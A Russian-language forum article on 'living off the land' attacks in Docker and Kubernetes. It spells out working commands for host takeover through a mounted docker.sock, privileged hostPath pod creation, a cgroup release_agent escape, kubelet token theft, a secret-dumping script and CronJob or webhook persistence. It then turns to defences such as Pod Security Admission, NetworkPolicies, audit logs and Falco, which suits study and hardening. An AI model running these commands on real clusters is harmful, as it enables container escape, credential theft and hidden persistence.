Давайте сразу расставим точки над i, вернее, над docker exec -it. Все информанты, что трубят о «новом уровне абстракции» и «цифровой трансформации», обычно забывают упомянуть одну простую вещь: любая абстракция - это не магический щит, а новый слой реальности. Со своими дырами, закоулками и, что самое вкусное, своими родными инструментами для выживания. Мы, кто копался в cmd.exe, bash и PowerShell, прекрасно знаем, что такое Living off the Land (LotL). Использование того, что есть в системе по умолчанию, чтобы не светить кастомными бэкдорами, благо wmic, schtasks и компания всегда под рукой.
Но что происходит, когда «земля» под ногами - это не винт с файловой системой, а оркестратор, который управляет мимолетными, эфемерными песочницами? Когда вместо одного ядра ОС у тебя десятки ядер, разбросанных по кластеру, а вместо ssh - kubectl exec? Правда в том, что LotL в Kubernetes и Docker - это следующий эволюционный виток. И он в разы мощнее, интереснее и, будем честны, опаснее.
Это для понимания. Для защиты своих стен. Чтобы знать, где искать тени, когда все вокруг говорят о свете контейнеров.
1. Философия LOTL в эпоху контейнеров: От земли к оркестрации.
Помнишь старые добрые времена, когда чтобы «пожить с земли», нужно было знать пару десятков встроенных утилит Windows или Linux? Это был локализованный, одноузловой мир. Вторгся на сервер - и у тебя есть всё, что нужно, на этом сервере.Контейнеризация, особенно под управлением оркестратора вроде Kubernetes, меняет парадигму. «Земля» теперь распределенная, динамическая и управляемая через API. Твоя цель - не просто получить шелл на одной машине. Твоя цель - получить контекст. Контекст кластера.
- kubectl - это новый ssh. Это твой основной проводник. С его помощью ты не просто выполняешь команды, ты управляешь целой вселенной подами, сервисами, деплойментами. И если у тебя есть доступ к kubectl с достаточными правами, ты - бог в этой вселенной. Понимание его возможностей (особенно -o json/yaml, --dry-run=client, --raw) - это базовый навык выживания.
- Docker/K8s API - новые сокеты/порты. Раньше ты искал открытый 22-й или 445-й порт. Теперь ты ищеш 2375/tcp (Docker API), 2376/tcp (Docker TLS), 6443/tcp (K8s API), 10250/tcp (kubelet API). Или ищещь монтированный внутрь контейнера Docker socket (/var/run/docker.sock). Это точки входа в систему управления.
- Эфемерность - это иллюзия. Контейнеры пересоздаются, пода умирают. Но состояние (state) хранится в Persistent Volumes, конфигурация - в ConfigMaps и Secrets, а логика работы - в манифестах, хранящихся в git. Настоящий «землянин» стремится встроиться не в контейнер, а в эти управляющие сущности. Создать свой CronJob, свой DaemonSet - это гораздо надежнее, чем вешать бэкдор в /bin/bash.
Прежде чем углубляться в техники LotL и эскалацию внутри Docker и Kubernetes, полезно вспомнить базовые механизмы защиты контейнеров - изоляция, контроль доступа и ограничения ресурсов, которые являются фундаментом безопасности современных сред.
2. Арсенал «землянина» в Docker: Не только docker run.
Предположим, мы уже внутри контейнера. Неважно как. Может, это уязвимое веб-приложение, может, мы подобрали credentials к реестру. Что у нас есть?2.1. Docker Socket: /var/run/docker.sock - святой Грааль.
Этот unix-сокет - прямая линия к демону Docker на хосте. Если он смонтирован в контейнер (а такое бывает сплошь и рядом в CI/CD-агентах или «удобных» админ-образах), ты получаешь root на хосте. Без преувеличений.
- Практика: Заходишь в контейнер. Проверяешь: ls -la /var/run/ | grep docker. Есть? Отлично.
- Использование через CLI: Если внутри контейнера есть docker клиент (что часто бывает в «раздутых» образах), просто используешь его, указывая на сокет: docker -H unix:///var/run/docker.sock ps. Видишь все контейнеры на хосте.
- Создание привилегированного контейнера: А теперь делаем классику:
Bash:docker -H unix:///var/run/docker.sock run -it --rm --privileged --net=host -v /:/host ubuntu bash
Бум. Ты в контейнере с привилегиями (--privileged), который разделяет сетевой стэк хоста (--net=host) и имеет доступ ко всей файловой системе хоста (-v /:/host). Поздравляю, хост - твой. Можно сделать chroot /host и работать с хост-системой как со своей. - Использование через cURL (если нет docker клиента): Это чистый LotL. Используем то, что есть почти везде.
Bash:# Получить список контейнеров curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq . # Создать контейнер (аналог `docker run`) # Нужно сформировать JSON. Делаем это прямо в bash (прости, python, но мы LotL). # Это пример. На практике проще использовать инструменты вроде `jq` для сборки JSON. CONTAINER_ID=$(curl -s -X POST --unix-socket /var/run/docker.sock \ -H "Content-Type: application/json" \ -d '{"Image": "alpine:latest", "Cmd": ["sh"], "HostConfig": {"Privileged": true, "Binds": ["/:/host"]}}' \ http://localhost/containers/create | jq -r '.Id') # Запустить контейнер curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start
Теперь у тебя есть привилегированный контейнер, созданный через API. Дальше можно приаттачиться к нему (exec), чтобы получить шелл.
Это защитный инструмент, который ставят админы. Но «землянину» нужно его понимать. Это прокси перед Docker socket, которая фильтрует вызовы API. Если видишь, что сокет есть, но docker ps не работает, возможно, стоит попробовать низкоуровневые вызовы API (/info, /version), которые часто пропускают.
2.2. Docker API по TCP: Когда демон слушает на порту.
Бывает, что в погоне за удобством (docker -H tcp://...) или для CI настраивают демон на прослушивание порта 2375 (без TLS) или 2376 (с TLS). Найти это можно внутренним сканированием (из уже скомпрометированного пода) или даже снаружи, если облачный security group настроен криво.
- Разведка: curl -s http://<node_ip>:2375/version. Если получил JSON - ты в дамках.
- Использование: То же самое, что и с сокетом, но по сети. docker -H tcp://<node_ip>:2375 ps. Или через curl.
- Важный момент: Часто этот API открыт не на всех нодах, а только на мастер-нодах или специальных узлах управления. Найти их можно, посмотрев переменные окружения внутри пода (например, env | grep KUBERNETES), или найдя адрес kube-apiserver из конфига пода: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
Если образ основан на чем-то вроде docker:latest (официальный образ для CI), то у тебя уже есть docker клиент. Но даже если его нет, часто есть curl или wget. Этого достаточно для работы с API, как показано выше.
Ключевая мысль: В Docker-мире привилегия - король. --privileged, hostPID, hostNetwork, hostPath - эти ключи в docker run или в манифесте пода - твои лучшие друзья для эскалации. Их и нужно искать.
2.4. Манипуляции с образами.
Представь, ты имеешь доступ на запись в приватный Docker Registry компании. Или даже можешь пушить в публичный (Docker Hub) под именем, похожим на официальное (ubuntu-mirror, alpine-latest).
- Создание троянского образа: Берешь базовый alpine. Добавляешь в него свой публичный SSH-ключ в /root/.ssh/authorized_keys. Или создаешь крон-задачу, которая будет звонить домой. Собираешь образ под именем internal/trusted-base-image.
- Подмена образа: Если в манифесте K8s указан образ image: internal/app:latest, и у тебя есть права на запись в этот тэг, ты можешь собрать зловредный образ и запушить его под тем же тэгом. При следующем деплое (или если политика imagePullPolicy: Always) твой образ уедет на все продовые пода.
- Практический инструмент: dive. Это не инструмент атаки, а инструмент анализа. Но «землянину» он полезен для понимания, что уже лежит в скачанном образе, какие слои, какие секреты могли забыть внутри. Запускаешь dive <image_name> и изучаешь каждый слой на предмет .env-файлов, приватных ключей, истории команд.
- Для разведки: curl, wget, jq (очень желательно, но можно и без).
- Для эксплуатации: Сам docker клиент (если есть) или знание Docker API.
- Для анализа: dive (если можно установить), docker history <image>.
- Для скрытности: Работа через легитимные каналы (Docker API) уже является скрытностью. Никакого meterpreter'а, только JSON over HTTP(S).
3. Kubernetes - наша новая «земля»: Царство возможностей.
Вот мы и добрались до сердца тьмы - кластера Kubernetes. Здесь LotL достигает своего апогея. Забудь про один хост. Здесь у тебя десятки, сотни нод, автоматическое восстановление, сервисы, балансировщики. И ко всему этому есть единый пульт управления - K8s API.3.1. kubectl: Не просто клиент, а окно в матрицу.
Если в контейнере есть kubectl - это почти всегда признак либо плохой практики, либо специального служебного пода (типа CI-runner). Но часто он не нужен! Потому что стандартный способ общения с API - через curl и service account token.
- Стандартное расположение учетных данных: В каждом пода K8s (если не отключено явно) монтируется service account token: /var/run/secrets/kubernetes.io/serviceaccount/token. Также там лежат ca.crt и namespace.
- Базовый запрос к API изнутри пода (чистый LotL):
Bash:# Устанавливаем переменные TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt API_SERVER="https://kubernetes.default.svc" # Внутренний DNS-имя apiserver # Запрос к API. Например, получить все поды в текущем namespace. curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $API_SERVER/api/v1/pods | jq .
Это первое, что нужно сделать. Посмотреть, что тебе доступно. Какие права у этого service account.
Вся магия (или ужас) начинается с прав. Service Account (SA) - это учетная запись для пода. RBAC (Role-Based Access Control) определяет, что этот SA может делать.
- Разведка прав: Можно попробовать сделать разные запросы к API и смотреть на ответы (403 Forbidden). Но есть более умный способ, если установлен kubectl или можно запустить контейнер с ним:
Bash:# Используем kubectl auth can-i для проверки прав kubectl auth can-i --list
Это золотая команда. Она покажет, какие действия разрешены текущему SA. Видишь create pods? get secrets? update deployments? Это твои цели. - Если права широкие: Допустим, SA имеет роль cluster-admin в каком-то namespace (или, не дай бог, в кластере). Ты выиграл джекпот.
- Автомонтирование секретов: Если в SA есть secrets в automountServiceAccountToken: true (по умолчанию), и он привязан к поду, то токен будет смонтирован. Но что, если секрет, на который ссылается SA, сам содержит другие секреты (например, credentials к облачному провайдеру)? Нужно искать.
Допустим, мы выяснили, что наш SA может создавать поды. Что мешает нам создать новый под с более высокими привилегиями?
- Создание «злого» пода через API (схематично):
Мы формируем манифест пода в JSON. Главное - указать привилегированные настройки.
Bash:# Примерный JSON для создания пода с hostPath и привилегиями EVIL_POD_JSON=$(cat <<EOF { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "debug-pod-$(date +%s)", "namespace": "$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)" }, "spec": { "containers": [{ "name": "busybox", "image": "busybox:latest", "command": ["sh", "-c", "sleep 3600"], "securityContext": { "privileged": true }, "volumeMounts": [{ "name": "hostroot", "mountPath": "/host" }] }], "volumes": [{ "name": "hostroot", "hostPath": { "path": "/" } }] } } EOF ) # Отправляем запрос на создание curl -X POST --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "$EVIL_POD_JSON" \ $API_SERVER/api/v1/namespaces/default/pods
После создания пода можно подключиться к нему (kubectl exec) или сразу запросить его логи, чтобы убедиться в запуске.
Создать один под - хорошо. Но его могут заметить и удалить. Настоящий «землянин» стремится к персистенции через легитимные объекты K8s.
- DaemonSet: Гарантирует, что под будет работать на каждой ноде кластера (или на подмножестве). Идеально для сбора информации со всех нод, создания туннелей. Если твой SA может создавать DaemonSets - это уровень «я теперь часть инфраструктуры».
- CronJob: Запускает джобу по расписанию. Прекрасный способ периодически звонить домой, проверять наличие новых команд, выгружать данные. Выглядит как обычный системный задание.
- Стратегия: Создаешь CronJob, который каждые 5 минут запускает Job. Job делает свою грязную работу (например, собирает логи с ноды куда-нибудь в S3) и завершается. В системе висит только CronJob - легитимный объект. Сами Jobs появляются и исчезают, оставляя минимум следов.
3.5. Сетевое движение.
В классическом LOTL ты использовал psexec или wmi для движения по сети. В K8s сеть плоская по умолчанию (зависит от CNI). Поды могут общаться друг с другом через DNS-имена вида <service-name>.<namespace>.svc.cluster.local.
- Сканирование изнутри: Установив nmap или используя netcat/curl, можно сканировать порты других сервисов в кластере. Часто находят Redis, MongoDB, Elasticsearch без аутентификации, просто потому что они «внутри сети».
- Использование внутренних сервисов: Если скомпрометирован один под, можно использовать его SA токен для доступа к API других сервисов (например, dashboard'у K8s), если они используют ту же сеть и не имеют дополнительной аутентификации.
Для понимания того, с чем придется бороться в Kubernetes, убедитесь, что вы знакомы с базовыми уязвимостями, которые встречаются в кластере и могут привести к компрометации приложений или инфраструктуры.
4. Техники и тактики: От разведки до господства.
Представь, ты оказался в поде. Первое чувство - клаустрофобия. Темно, непонятно, что снаружи. Пора включать фонарик.4.1. Разведка изнутри пода.
Первые команды должны быть направлены на понимания окружения:
Bash:
# 1. Кто я? Какой образ?
cat /etc/os-release
cat /proc/version
# 2. Где я? Какой namespace, pod name?
# Способ 1: Через смонтированный service account (если есть)
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Способ 2: Через переменные окружения (часто задаются через Downward API)
env | grep -i pod
env | grep -i namespace
# Способ 3: Через hostname (часто содержит pod name)
hostname
# 3. Куда подключен? Какие volumes?
mount
cat /proc/mounts | grep -v tmpfs
# 4. Что есть вокруг? Сеть.
# IP-адрес пода
hostname -i
ip addr show
# DNS
cat /etc/resolv.conf
# Попытка обнаружить K8s API (стандартный адрес)
curl -k https://kubernetes.default.svc (может не сработать без токена)
# 5. Кто соседи? Через K8s API.
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
if [ -f "$CACERT" ] && [ -n "$TOKEN" ]; then
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/pods | \
jq -r '.items[] | .metadata.namespace + "/" + .metadata.name + " : " + .status.podIP'
fi
# 6. Что я могу? Проверка прав.
if command -v kubectl &> /dev/null; then
kubectl auth can-i --list
else
# Грубая проверка через API: пытаемся получить секреты
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/secrets -o /dev/null -w "%{http_code}"
# Если 200 или 403 (но не 401) - есть доступ к чтению секретов в namespace.
fi
4.2. Эскалация привилегий.
Твоя цель - вырваться из песочницы контейнера на узел (ноду) или получить более высокие права в кластере.
- Через опасные возможности Linux (Capabilities):Контейнеры по умолчанию запускаются с урезанным набором capabilities. Но в SecurityContext могут быть добавлены опасные, например:
- SYS_ADMIN: Позволяет монтировать файловые системы, делать много операций с именнованными пространствами (namespace). Ключ к побегу.
- SYS_MODULE: Загрузка/выгрузка модулей ядра.
- SYS_PTRACE: Отладка других процессов (можно внедриться в процесс на хосте).
- Проверка: capsh --print внутри контейнера. Или посмотреть cat /proc/self/status | grep Cap.
- Через hostPath: Если в под смонтирован том типа hostPath, это прямой доступ к файловой системе ноды. Даже если это /var/log, можно искать интересные файлы. Если смонтирован корень / - всё кончено.
- Через privileged: true: Контейнер работает практически с правами root на хосте. Проверить: ls /dev | grep -i docker или попробовать монтировать что-нибудь: mount /dev/sda1 /mnt.
- Escape через Docker Socket: Уже обсуждали. Если есть доступ к сокету - побег.
- Escape через уязвимости ядра: Dirty COW, runc exploits (CVE-2019-5736 и др.). Это уже не чистый LotL, так как требует эксплойта, но иногда это единственный путь.
Допустим, у нас есть capability SYS_ADMIN. Можно попробовать escape через cgroups release_agent. Старая, но иногда работающая техника, использующая стандартные утилиты:
Bash:
# 1. Создаем новую cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Указываем release_agent (файл, который выполнится при завершении всех процессов в cgroup)
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Получаем путь к overlayfs на хосте
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 3. Пишем команду, которая выполнится на хосте
echo '#!/bin/sh' > /cmd
echo "chroot $host_path /bin/sh -c 'id > /output'" >> /cmd
chmod a+x /cmd
# 4. Запускаем процесс в cgroup и сразу его убиваем
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 5. Считываем результат с хоста
cat /output
Это сложный пример, но он использует только mount, echo, sed, cat, chmod - типичный LotL.
Практический инструмент: amicontained. Маленький бинарник (или скрипт), который проверяет уровень изоляции контейнера. Он скажет тебе, какие capabilities есть, есть ли AppArmor/SELinux, доступны ли имена пространств и т.д. Запустил и понял, в какой клетке сидишь.
4.4. Движение по кластеру.
Ты сбежал на ноду или получил мощный SA токен. Что дальше?
- Изучение ноды: Собираем информацию о ноде: kubectl describe node <node-name> (если есть kubectl), или через файловую систему хоста смотрим, что за процессы (ps aux), какие Docker-контейнеры (docker ps или crictl ps).
- Кража токенов других Service Accounts: На ноде в директории /var/lib/kubelet/pods хранятся подмонтированные секреты для всех подов. Можно найти токены других, возможно, более привилегированных SAs.
Bash:find /var/lib/kubelet/pods -name "token" -type f 2>/dev/null | xargs cat - Доступ к kubelet: Kubelet на каждой ноде слушает на порту 10250 (часто) и имеет свой API. Если не настроена аутентификация должным образом, можно делать интересные вещи: /runningpods, /exec, /logs. Это отдельный вектор атаки.
- Создание подов на других нодах: Используя мощный SA, можно создавать поды, специфицируя ноду (nodeName), чтобы разместить свой «лагерь» на конкретной машине.
Как остаться, если тебя могут вычистить?
- Создание нового Service Account и Secret с токеном: Если есть права create serviceaccount, create secret. Создаешь SA с широкими правами, получаешь его токен и прячешь куда-нибудь (в ConfigMap, в комментарий к какому-нибудь объекту, или выгружаешь наружу).
- Создание пользователя/clusterrolebinding: В корпоративных кластерах часто интегрированных с LDAP, можно попробовать привязать роль к существующему пользователю, которого не будут проверять. Крайне рискованно, но возможно.
- Backdoor в образ: Как обсуждалось ранее - это самый долгосрочный вариант. Внести изменение в базовый образ, который используют все приложения.
- Использование ValidatingWebhookConfiguration или MutatingWebhookConfiguration: Это высший пилотаж. Если есть права на админские ресурсы, можно создать webhook, который будет получать уведомления о создании ресурсов (например, подов) и модифицировать их «на лету», добавляя себе sidecar-контейнер. Теперь ты часть самого механизма контроля. Обнаружить сложно.
5. Инструментарий «землянина»: Скрипты, утилиты, фреймворки.
Мы все за использование нативных средств, но иногда нужен «третий рука».- Peirates: Написан на Go, прямо создан для пентеста K8s. Умеет перечислять ресурсы, проверять права, красть токены, создавать поды, выполнять команды в облачных метаданных. Если можешь загрузить бинарник - это целый арсенал в одном флаконе. Его главная фишка - автоматизация многих описанных выше шагов.
- kubectl plugins:Легальные, но мощные. Например:
- kubectl-neat: Чистит манифесты от служебных полей. Полезно, чтобы скопировать конфигурацию работающего пода и использовать ее как шаблон.
- kubectl-debug: Официальный (отклоненный) plugin, который позволяет запустить отладочный контейнер в поде (даже если в основном образе нет шелла). Легальный способ «вторжения» для админов, но и для нас полезен.
- Свои скрипты: Часто лучше кастомного ничего нет. Небольшой Python-скрипт, использующий библиотеку kubernetes, или даже bash-скрипт с curl и jq. Они не триггерят сигнатуры AV/IDS, которые ищут известные тулзы вроде peirates.
Bash:
#!/bin/bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
for secret in $(curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$API/api/v1/namespaces/$NS/secrets | jq -r '.items[].metadata.name'); do
echo "=== Secret: $secret ==="
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$API/api/v1/namespaces/$NS/secrets/$secret | \
jq -r '.data | to_entries[] | .key + ": " + (.value|@base64d)'
echo
done
6. Защита: Как не дать «землянину» поселиться на твоей «земле».
Мы много говорили об атаке. Но цель знания - защита. Как построить крепость, зная приемы осады?6.1. Принцип наименьших привилегий (PoLP) - твой новый закон.
- Для подов: Запускай с securityContext.runAsNonRoot: true. Задавай runAsUser. Сбрасывай все capabilities (drop: ["ALL"]) и добавляй только необходимые поштучно.
- Для Service Accounts: Создавай отдельные SA для каждого приложения. Давай права через Role и RoleBinding, а не ClusterRoleBinding, если не нужно на весь кластер. Регулярно аудитируй kubectl get rolebindings,clusterrolebindings.
- Используй PodSecurityStandards (PSS): В K8s 1.22+ есть встроенные политики: privileged, baseline, restricted. Настраивай через PodSecurityAdmission. Запрещай privileged и hostPath.
- PodSecurityPolicy (устарело, но еще есть) / PodSecurityAdmission: Чтобы пода с privileged: true вообще не мог быть создан.
- OPA/Gatekeeper, Kyverno: Это уже следующий уровень. Ты можешь писать политики на Rego (OPA) или YAML (Kyverno), которые проверяют/изменяют ресурсы при создании. Например: "Запретить подам монтировать /var/run/docker.sock", "Все образы должны быть из доверенного реестра", "Никаких latest-тэгов".
- Network Policies: Обязательно настрой. По умолчанию в K8s - allow all. Создавай политики типа "Подам в namespace A можно говорить только на порт 80 пода в namespace B". Это остановит горизонтальное движение.
- Service Mesh (Istio, Linkerd): Дают еще более тонкий контроль над трафиком (mTLS, ограничение на уровне L7), но сложнее в настройке.
- Включи аудит K8s API (--audit-policy-file): Логируй все вызовы к API, особенно create, update, delete, exec. Ищи аномалии: создание подов с привилегиями, получение секретов, выполнение команд в подах из необычных источников.
- Falco / Tracee: Инструменты для Runtime Security. Falco использует правила для обнаружения подозрительного поведения на уровне ядра (например, spawned process outside container, write to docker.sock). Tracee - более современный, на основе eBPF. Они увидят LotL-активность.
- Регулярное сканирование: Сканируй образы на уязвимости (Trivy, Grype). Сканируй кластер на соответствие лучшим практикам (kube-bench от CIS, kube-hunter для проактивного поиска уязвимостей).
- kube-bench: Запускает чеклист CIS Benchmark для K8s. Покажет, где не настроен аудит, где kubelet не аутентифицируется.
- kube-hunter: Активный сканер уязвимостей K8s. Может запускаться извне или изнутри кластера. Покажет открытые Docker API, dashboard'ы и прочее.
- falco: Установи и настрой правила. Особенно правило Launch Privileged Container.
- starboard / trivy-operator: Интегрирует сканирование уязвимостей образов и CIS-чеков прямо в K8s, выводя результаты как CRD.
7. Заключение: Новая этика землянина в эпоху облачных примитивов
Мы начали с простой аналогии: kubectl - это новый ssh. Но теперь, пройдя весь путь, можно сказать больше: Kubernetes API - это новая операционная система для распределенных систем. А мы, те, кто копает глубже мейнстрима, - ее системные администраторы, хакеры и исследователи одновременно.
7.1. Эволюция LOTL: От скриптового kiddie к архитектору теней.
Раньше «жить с земли» означало быть тактиком. Знать расположение утилит на диске. Сейчас - это быть стратегом. Нужно понимать архитектуру:
- Раньше: Цель - C:\Windows\System32. Инструмент - powershell.exe /c.
- Сейчас: Цель - https://[cluster-ip]:6443/api/v1/namespaces/kube-system/secrets. Инструмент - curl с токеном и пониманием JSONPath.
- Раньше: Персистенция - запись в HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
- Сейчас: Персистенция - создание CronJob в неймспейсе kube-system или модификация Deployment с добавлением sidecar-контейнера.
7.2. Техника как основа безопасности.
Техника - это наше противоядие. Она диктует простые, неудобные истины:
- Абстракции протекают. Контейнер - это не магическая песочница. Это процесс с namespace'ами и cgroups. Если дать ему SYS_ADMIN, он сломает изоляцию. Если дать доступ к сокету - получит контроль. Мы должны признать и изучить эти утечки, а не притворяться, что их не существует.
- Сложность - враг безопасности. K8s - невероятно сложная система. Каждый новый CRD, каждый оператор, каждый хелм-чарт - это новые тысячи строк кода, новые RBAC-роли, новые потенциальные ошибки конфигурации. LOTL-методики процветают на этой сложности, находя щели в нагромождении абстракций.
- По умолчанию небезопасно. Docker daemon, слушающий на TCP-порту без TLS. Kubelet со слабой аутентификацией. Pod с serviceAccount с правами cluster-admin. hostPath, монтирующий /. Это не «фичи», а дефекты конфигурации, ставшие обыденностью из-за непонимания.
- Защита - это процесс, а не продукт. Нельзя купить «волшебную таблетку» и считать кластер безопасным. Это ежедневная рутина: аудит RBAC, review манифестов на предмет securityContext, анализ логов аудита, сканирование образов. То, что мы описали в разделе про защиту, - это не пункты из чек-листа на один раз. Это образ жизни для администратора кластера, который действительно беспокоится о безопасности.
7.4. Культура глубины в мире поверхностных решений.
Массы предлагают: «Задеплойте наш SaaS-продукт, и он защитит ваш K8s!». Это поверхностно. По-нашему - это:
- Сначала фундамент. Разберись, как работает etcd. Что такое kube-scheduler и как он принимает решения. Как работает CNI-плагин, который у тебя стоит. Без этого ты слепой.
- Инструменты - второстепенны. k9s, falco, gatekeeper - это прекрасно. Но они бесполезны, если ты не понимаешь, что именно они тебе показывают и почему это важно. Сначала мозги, потом автоматизация.
- Сомневайся во всем по умолчанию. Trust no one. Pod security policies? Проверь, не обходят ли их через PodSecurityPolicy exemptions. Network policies? Убедись, что они действительно применяются и логируются. Аудит включен? А откуда ты знаешь, что он логирует все важные события?
- Делитесь знаниями, а не только скриптами. Скрипт get_all_secrets.sh - это клево. Но клевее - объяснить, почему секреты в K8s не шифруются по умолчанию и как включить их шифрование на уровне etcd. Распространяй понимание, а не просто код.
Да, мир контейнеризации иногда кажется цирком. Мы запускаем «микросервисы» в виде монолита в 20 контейнерах. Мы оркестрируем оркестраторы. Мы защищаем кластеры, сложность которых превосходит понимание одного человека. Можно стать циником и сказать: «Да гори оно все синим пламенем, вернемся на bare-metal».
Мы видим абсурд, но мы также видим потенциал. Мы смеемся над helm template | kubectl apply -f -, который превратился в магический ритуал, но при этом мы же и ищем способы сделать этот процесс безопасным, внедряя helm-secrets и проверки в CI/CD.
Это способ сохранить рассудок в море сложности. Это взгляд, который говорит: «Я вижу, как ты устроен изнутри, со всеми твоими костылями и недоработками. И знаешь что? Я все равно буду с тобой работать, но буду держать в уме все твои причуды».
7.6. Итог: Что делать? Практический финал.
Итак, ты дочитал до конца. Гигантский простын текст. Что дальше? Нельзя просто отложить и забыть.
- Если ты защитник (DevSecOps, Security Engineer):
- Аудит. Прямо завтра запусти kubectl auth can-i --list от имени сервисных аккаунтов в критичных неймспейсах. Запусти kube-bench и kube-hunter в тестовом окружении. Ужаснись. Составь план.
- Упрощение. Начни вычищать мусор: неиспользуемые SA, чрезмерные RBAC-роли, hostPath тома, которые не нужны.
- Внедряй политики. Начни с малого. Включи PodSecurityAdmission в режиме baseline для неймспейсов с пользовательскими workload'ами. Напиши одну-две простые NetworkPolicy, чтобы разделить, например, неймспейс с БД и неймспейс с веб-приложениями.
- Мониторь. Включи аудит API. Посмотри, как работают логи. Настрой алерты в Falco на Launch Privileged Container и Write below etc.
- Если ты разработчик или просто любопытный:
- Построй свою песочницу. minikube или kind - твои лучшие друзья. Убей кластер и воссоздай его. Сделай это 10 раз.
- Играй в злого «землянина». В своей песочнице! Попробуй смонтировать docker.sock, создать привилегированный под, украсть токен, создать CronJob. Пойми, как это работает изнутри.
- Изучи инструменты. Не просто скачай k9s, а пойми, какие API-запросы он делает. Запусти kubectl с флагом -v=9 и посмотри на сырой трафик.
- Читай манифесты. Не просто копируй из интернета. Каждая строчка в securityContext, каждая volume - это потенциальная дверь. Спроси себя: «А зачем это здесь? А что будет, если это убрать?»
Кластер Kubernetes - это не черный ящик. Это сложный, живой механизм. Ты можешь бояться его сложности, а можешь принять ее как вызов. Взять в руки kubectl, curl и jq, и начать разбираться. Слой за слоем. API за API.
Последнее редактирование модератором: